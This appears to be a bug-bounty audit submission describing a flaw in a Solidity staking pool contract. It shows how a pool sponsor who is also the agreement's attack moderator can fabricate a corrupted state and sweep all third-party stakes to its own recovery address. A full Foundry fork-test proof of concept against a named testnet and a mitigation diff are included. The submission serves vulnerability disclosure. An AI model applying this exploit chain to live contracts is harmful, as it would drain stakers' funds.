FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

The recovery beneficiary can mint the CORRUPTED verdict its pool sweeps on, past the independent moderator

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: The pool separates powers on purpose — the factory makes the sponsor the pool owner and lets it choose the recovery address, while a distinct factory-configured outcomeModerator is the party trusted to decide survival or corruption — so the recovery beneficiary cannot also decide a sweep. After the grace window, the auto-CORRUPTED backstop lets anyone finalize bad-faith CORRUPTED off a terminal registry CORRUPTED reading.

  • Specific issue: In the pinned Safe Harbor integration the per-agreement attackModerator is initialized to the agreement owner, and the factory forces that same owner to be the pool sponsor and recovery beneficiary. So the sponsor mints a terminal CORRUPTED through markCorrupted (accepted on role and lifecycle state, with no proof of a real breach), waits out the grace, and lets any caller finalize bad-faith CORRUPTED — sending the whole third-party pool to its own recovery address, with the independent moderator never deciding the outcome and latched out of correcting it. The account that funds the sweep destination is the one that authors the state which fills it.

// src/ConfidencePoolFactory.sol - createPool()
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator(); // @> sponsor == agreement owner == attackModerator
// initialize(..., defaultOutcomeModerator, ..., recoveryAddress /*@> sponsor-chosen*/, msg.sender /*@> owner_*/, ...)
// src/ConfidencePool.sol - claimExpired()
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) revert AgreementCorruptedAwaitingModerator();
outcome = PoolStates.Outcome.CORRUPTED; // @> finalized off a state the sponsor can author, with no independent decision
claimsStarted = true; // @> latches finality against the independent moderator
return; // claimCorrupted() then sends the full balance to recoveryAddress
}

This is not the §11 "trusted registry reports false state" case (§11 names only the registry-level DAO moderator; the lever here is the agreement-level attackModerator the factory forces to be the sponsor), nor the §6 scope-blind fallback (§6 accepts a pessimistic default for a genuine corruption with an absent moderator; here the beneficiary manufactures the corruption).

Risk

Likelihood:

  • WHEN an agreement owner sponsors a pool and keeps the default per-agreement attackModerator role, and the DAO approves the agreement into active risk (a normal attackable operating mode after approval), a public pool interaction seals riskWindowStart.

  • WHEN the sponsor calls markCorrupted() on its own agreement with no breach and the independent pool moderator stays silent through the fixed 180-day grace, any caller finalizes bad-faith CORRUPTED and claimCorrupted() sweeps to the sponsor's recovery address.

Impact:

  • The entire unresolved pool balance — all third-party staker principal plus contributor bonus — is transferred to the sponsor-chosen recovery address on a corruption the sponsor fabricated, with the independent moderator structurally bypassed and latched out (claimsStarted). Pool size is uncapped.

  • The value flow is entirely sponsor-directed and the sponsor risks no capital: in the PoC the sponsor stakes nothing and the 200 tokens swept are 100% third-party. Victims cannot exit — withdraw is disabled after risk is observed, and a staker's claimExpired reverts throughout the grace window.

Proof of Concept

Full chain on the live BattleChain testnet: the real fixture agreement's owner is also its live attackModerator; that one account authors a real registry CORRUPTED, and the locally-deployed in-scope pool auto-sweeps the whole third-party balance to the sponsor recovery. Save as test/fork/SponsorAuthoredCorruptionAutoSweep.fork.t.sol and run with BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com forge test --match-contract SponsorAuthoredCorruptionAutoSweepForkTest -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
contract SponsorAuthoredCorruptionAutoSweepForkTest is Test {
address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant OLD_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant SPONSOR = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
uint256 internal constant PIN_BLOCK = 16_000;
uint256 internal constant ONE = 1e18;
address internal poolModerator = makeAddr("independent-pool-moderator");
address internal stakerA = makeAddr("third-party-staker-A");
address internal stakerB = makeAddr("third-party-staker-B");
address internal bonusContributor = makeAddr("bonus-contributor");
address internal sponsorRecovery = makeAddr("sponsor-recovery");
address internal outsider = makeAddr("outsider");
IAttackRegistry internal registry = IAttackRegistry(ATTACK_REGISTRY);
IAgreement internal agreement = IAgreement(OLD_AGREEMENT);
MockERC20 internal token;
ConfidencePool internal pool;
uint256 internal expiry;
function setUp() external {
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
assertEq(agreement.owner(), SPONSOR, "fixture owner");
assertEq(registry.getAttackModerator(OLD_AGREEMENT), SPONSOR, "fixture attack moderator");
assertEq(uint256(registry.getAgreementState(OLD_AGREEMENT)), uint256(IAttackRegistry.ContractState.UNDER_ATTACK));
ConfidencePool impl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ConfidencePoolFactory factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(impl), poolModerator))
)
)
);
token = new MockERC20();
factory.setStakeTokenAllowed(address(token), true);
address[] memory scope = new address[](1);
scope[0] = _firstScopeAccount();
expiry = block.timestamp + 31 days;
vm.prank(SPONSOR);
pool = ConfidencePool(factory.createPool(OLD_AGREEMENT, address(token), expiry, ONE, sponsorRecovery, scope));
assertEq(pool.owner(), SPONSOR);
assertEq(pool.outcomeModerator(), poolModerator);
assertTrue(pool.outcomeModerator() != SPONSOR);
}
function testSponsorAuthoredCorruptionSweepsThirdPartyPool() external {
_stake(stakerA, 100 * ONE);
_stake(stakerB, 50 * ONE);
token.mint(bonusContributor, 50 * ONE);
vm.startPrank(bonusContributor);
token.approve(address(pool), 50 * ONE);
pool.contributeBonus(50 * ONE);
vm.stopPrank();
assertEq(pool.eligibleStake(SPONSOR), 0, "sponsor staked nothing");
assertTrue(pool.riskWindowStart() != 0, "risk window observed during UNDER_ATTACK");
vm.prank(stakerA);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
vm.prank(SPONSOR);
registry.markCorrupted(OLD_AGREEMENT);
assertEq(uint256(registry.getAgreementState(OLD_AGREEMENT)), uint256(IAttackRegistry.ContractState.CORRUPTED));
vm.warp(expiry);
vm.prank(stakerA);
vm.expectRevert(IConfidencePool.AgreementCorruptedAwaitingModerator.selector);
pool.claimExpired();
vm.warp(expiry + pool.MODERATOR_CORRUPTED_GRACE());
vm.prank(outsider);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "auto-finalized bad-faith CORRUPTED");
vm.prank(poolModerator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 recoveryBefore = token.balanceOf(sponsorRecovery);
vm.prank(outsider);
pool.claimCorrupted();
assertEq(token.balanceOf(sponsorRecovery) - recoveryBefore, 200 * ONE, "full third-party pool to sponsor recovery");
assertEq(token.balanceOf(address(pool)), 0);
assertEq(pool.eligibleStake(SPONSOR), 0, "sponsor never had capital at risk");
}
function _firstScopeAccount() internal view returns (address) {
address[] memory accts = agreement.getBattleChainScopeAddresses();
require(accts.length != 0, "no scope accounts on fixture");
return accts[0];
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
}

Passing result: 200 tokens (third-party principal 150 + bonus 50) to the sponsor recovery; sponsor capital at risk 0; the moderator's post-finalization flagOutcome reverts OutcomeAlreadySet.

Severity note for the form: Impact is High (whole third-party pool); Likelihood is Low because the path needs DAO-approved active risk plus an absent moderator through the 180-day grace. Choose High impact / Low likelihood. If a judge keeps the sponsor-retained agreement attackModerator inside the adversarial model, this is a straightforward High.

Recommended Mitigation

if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) revert AgreementCorruptedAwaitingModerator();
- outcome = PoolStates.Outcome.CORRUPTED;
- outcomeFlaggedAt = riskWindowEnd;
- corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
- claimsStarted = true;
- return;
+ // The agreement-level attackModerator may be the pool sponsor and recovery beneficiary; only an
+ // independent pool outcome decision may authorize a full-principal sweep.
+ revert AgreementCorruptedAwaitingModerator();
}

For a genuine absent-moderator backstop, the authority that finalizes CORRUPTED after the grace must be disjoint from the agreement owner, the pool sponsor, and the recovery beneficiary (a factory/DAO- appointed settler, or a registry attestation the sponsor cannot produce). Do not restore a permissionless sweep keyed solely on getAgreementState(agreement) == CORRUPTED.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!